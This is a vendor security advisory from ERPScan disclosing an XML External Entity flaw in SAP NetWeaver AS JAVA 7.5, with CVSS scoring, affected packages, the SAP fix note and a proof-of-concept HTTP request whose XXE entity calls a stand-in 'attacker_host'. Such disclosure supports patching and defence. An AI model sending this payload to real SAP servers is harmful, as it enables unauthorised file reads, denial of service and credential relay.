SAP NetWeaver AS JAVA - 'BC-BMT-BPM-DSK' XML External Entity Injection

Application:	SAP NetWeaver AS JAVA
Versions Affected:	SAP NetWeaver AS JAVA 7.5
Vendor URL:	SAP
Bugs:	XXE
Reported:	09.03.2016
Vendor response:	10.03.2016
Date of Public Advisory:	09.08.2016
Reference:	SAP Security Note 2296909
Author:	Vahagn Vardanyan (ERPScan)

1. ADVISORY INFORMATION

Title:  [ERPSCAN-16-034] SAP NetWeaver AS JAVA – XXE vulnerability in BC-BMT-BPM-DSK component
Advisory ID:[ERPSCAN-16-034]
Risk: high
Advisory URL: https://erpscan.com/advisories/erpscan-16-034-sap-netweaver-java-xxe-vulnerability-bc-bmt-bpm-dsk-component/
Date published: 11.11.2016
Vendors contacted: SAP


2. VULNERABILITY INFORMATION

Class: XXE
Impact: Denial of Service, Read File
Remotely Exploitable: yes
Locally Exploitable: no

CVSS Information

CVSS Base Score v3:    6.4 / 10
CVSS Base Vector:
AV : Attack Vector (Related exploit range) Network (N)
AC : Attack Complexity (Required attack complexity) High (H)
PR : Privileges Required (Level of privileges needed to exploit) Low (L)
UI : User Interaction (Required user participation) None (N)
S : Scope (Change in scope due to impact caused to components beyond the vulnerable component) Unchanged (U)
C : Impact to Confidentiality Low (L)
I : Impact to Integrity Low (L)
A : Impact to Availability High (H)


3. VULNERABILITY DESCRIPTION

1) It is possible, that an attacker can perform a DoS attack (for example, an XML Entity expansion attack)

2) An SMB Relay attack is a type of man-in-the-middle attack where an attacker asks a victim to authenticate to a machine controlled by the
attacker, then relays the credentials to the target. The attacker forwards the authentication information both ways, giving him access.


4. VULNERABLE PACKAGES

BPEM PORTAL CONTENT 7.20
BPEM PORTAL CONTENT 7.30
BPEM PORTAL CONTENT 7.31
BPEM PORTAL CONTENT 7.40
BPEM PORTAL CONTENT 7.50


5. SOLUTIONS AND WORKAROUNDS

To correct this vulnerability, install SAP Security Note  2296909


6. AUTHOR

 Vahagn Vardanyan (ERPScan)


7. TECHNICAL DESCRIPTION

PoC


POST /sap.com~tc~bpem~him~uwlconn~provider~web/bpemuwlconn HTTP/1.1

Content-Type: text/xml

User-Agent: ERPscan

Host: SAP_IP:SAP_PORT

Content-Length: 480

Connection: Keep-Alive

Cache-Control: no-cache

Authorization: Basic ZXJwc2NhbjplcnBzY2Fu


<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://attacker_host">
]><SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema">

   <SOAP-ENV:Body>

       <m:isBPMSInUse xmlns:m="http://api.facade.bpem.sap.com/"/>

   &xxe;</SOAP-ENV:Body>

</SOAP-ENV:Envelope>


8. REPORT TIMELINE

Sent:  09.03.2016
Reported: 10.03.2016
Vendor response: 10.03.2016
Date of Public Advisory: 09.08.2016


9. REFERENCES

https://erpscan.com/advisories/erpscan-16-034-sap-netweaver-java-xxe-vulnerability-bc-bmt-bpm-dsk-component/